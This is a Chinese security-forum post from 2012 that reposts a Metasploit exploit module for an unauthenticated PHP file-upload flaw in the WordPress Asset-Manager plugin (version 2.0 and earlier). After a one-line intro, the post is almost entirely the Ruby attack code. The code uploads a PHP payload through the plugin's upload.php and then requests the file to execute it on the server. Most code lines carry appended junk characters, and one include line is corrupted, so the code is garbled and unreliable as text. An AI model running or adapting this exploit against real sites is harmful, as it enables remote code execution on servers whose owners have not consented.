找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2136|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。. b1 L9 h' ?1 H  N9 V
; t. w3 ^- {6 F; M
##
/ [$ \+ K0 p5 K8 y# This file is part of the Metasploit Framework and may be subject to8 w$ d' B( B; H9 N+ m! V
# redistribution and commercial restrictions. Please see the Metasploit6 E" X5 n; j/ n1 A' Q. ^3 l; B+ t
# Framework web site for more information on licensing and terms of use.% N# U) j; Q. u$ y& N
#   http://metasploit.com/framework/9 }1 @& T5 U0 N9 |' _8 n
##5 C& V# l( s$ W+ R, r& X% N

! S. A7 ^* W5 a$ W3 H7 d( Arequire 'msf/core'
" u. N, t! {- {9 U8 y& Q$ Trequire 'msf/core/exploit/php_exe'
% g( e: M  i6 `. u( E! D   r) B* [" \+ Q0 O' L
class Metasploit3 < Msf::Exploit::Remote" d( ^* [6 N% ?! b/ x# w! P
  Rank = ExcellentRanking
8 q8 i0 m' N+ B
: _; }3 c+ p* M( q: O0 s' C  include Msf::Exploit::Remote::HttpClient1 p" A% i0 ^! f7 Q
  include Msf::Exploit:hpEXE
. w, R' D* }6 C5 _  c! T0 b
9 x4 F: f  K% o  O2 k& h, |  def initialize(info = {})  X6 b3 ?+ O% v7 I, h- p- m! [
    super(update_info(info,
# b7 X, U- Q  Q! x      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',# r+ ]. W  a; [7 G  K  T
      'Description'    => %q{/ a2 {6 j1 r/ i0 ^/ a( I
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
* Y( q7 d- X; s5 R3 d. R, c        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
- w! u; O; p- P* e( d        temp directory without authentication, which results in arbitrary code execution.
! |$ o* R# P: Z. @7 x0 n      },
3 K! v' ?6 }+ `. l, `, J      'Author'         =>
3 O9 q/ o) m0 h+ Y& I7 b- I8 a        [
. O4 b+ E* I0 x: T  \' B& [; L8 ?          'Sammy FORGIT', # initial discovery! ~9 o: s+ ]( T) S7 i  f2 d
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
7 |, a+ g2 f4 E8 }0 R        ],3 H4 A8 H# t# c0 f! a6 l
      'License'        => MSF_LICENSE,
$ Z. t% L: h2 `      'References'     =>
) r) r0 \) V( i' |1 W/ Y        [
; ^& n: K9 ]' [) a2 P! c          [ 'OSVDB', '82653' ],; z, ~1 g& n$ m* ]* o2 J
          [ 'BID', '53809' ],
: |! y+ \6 R; [' f* j          [ 'EDB', '18993' ],2 F9 n3 }" Y5 C: A$ O' s! w
          [ 'URL', 'http:// www.myhack58.com /' ]
: F9 `* s% `7 s  F. s% W0 I8 Y        ],  _6 P* H. j  `& y7 ~) K" R1 W: v
      'Payload'       =>; M) S# x0 I4 y7 o( P) M; G$ ], H
        {: y" [& N( s* f5 a# \4 h/ x& V
          'BadChars' => "\x00",
' w' p5 e: H1 c- Q; O# _        },9 F( g  \, Z% z
      'Platform'       => 'php',+ D3 i$ u  G  W- v
      'Arch'           => ARCH_PHP,
  H6 ?) i$ {  b7 B6 |; Y2 ?      'Targets'        =>
/ t+ F* z" H/ h; g' \9 W$ T        [- H  T& ~7 a) U0 U' I6 d: W4 ?# Z
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
( s, G$ f. k: v+ ?; b$ d% O          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]5 J; ~+ c2 L- |* G' x; T6 w/ u
        ],
9 E2 @# u* g+ o4 E      'DefaultTarget' => 0,
. y3 h6 Z- A* i" I' D7 a- f      'DisclosureDate' => 'May 26 2012'))
, p9 S# p" ?' c + b& S0 F% F/ Y7 e7 Y- |
    register_options(
4 }' K, `+ ]; _8 [) u2 Z      [
" m* D3 q% [% \2 g        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
$ G1 t" i: L+ o' }0 Q# h4 A0 _      ], self.class)
: ]( h: ~. W: }' h$ |" R& `  end
# s0 B# Q/ x! E. H* [ 4 G& I7 x! O4 o- \% g" G
  def exploit
- N( w0 z, W4 }    uri =  target_uri.path% z) G: G& b: f9 O
    uri << '/' if uri[-1,1] != '/'
5 U0 }5 ~$ G1 {) Y2 E    peer = "#{rhost}:#{rport}"
1 @! [$ w7 _* c6 u9 g+ O6 i    payload_name = "#{rand_text_alpha(5)}.php", s: p% S9 T) J
    php_payload = get_write_exec_payload(:unlink_self=>true)
3 Y& L1 R# p( X: a! {# L 1 j& B3 d" }5 e% Z1 @- x) `" V: ~
    data = Rex::MIME::Message.new
/ z$ u" R! y( c3 y5 u2 R; G    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
3 k% N6 ^9 b+ X' S: _+ g1 y    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
8 l) t' A' ?/ H: I2 j0 Z0 @* _2 d , l3 n' d. ^! c, {  h
    print_status("#{peer} - Uploading payload #{payload_name}")* b3 ~: f" O0 M0 [$ q
    res = send_request_cgi({
0 `' s; |2 D0 ]/ L2 ]& X& b: n. ?0 Y      'method'  => 'POST',
  O5 j1 q, R$ f. [2 T! \7 Z. u      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",# M8 j" b' d& R  l
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",$ s& H: v  G4 B& M# e9 A1 Q
      'data'    => post_data# ?4 j9 F( K! @/ k9 V
    }). @; R' m4 H7 v- v

4 ?5 i9 l  @3 U  p3 o  O    if not res or res.code != 200 or res.body !~ /#{payload_name}/
% e1 ?' Y5 Y9 o. T. D5 q$ A      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
/ ?  Q! Y! X% `5 \& Hend) K, O0 q) t5 [6 E

* a$ f% r6 j# |% t    print_status("#{peer} - Executing payload #{payload_name}")( y. v5 }; {3 M7 B) R# b/ \
    res = send_request_raw({/ |& R. v! a1 F8 _8 Q$ x
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",( H- ]* i: j1 S/ M" D
      'method'  => 'GET', L% Y& I: S) x3 o& ~' u' w% W
    })% D( o# u( l$ }
* H# y( |  u- x3 l
    if res and res.code != 200
" x5 t, S; x6 ?, j7 Q0 D: n      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
) _6 H3 S' a/ i; S" Q    end
& U) `$ L' p8 N( x2 I, ~  end
6 i1 l6 q8 C% zend+ w' R  r1 [0 r* H/ c1 ^. d0 Z  q8 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表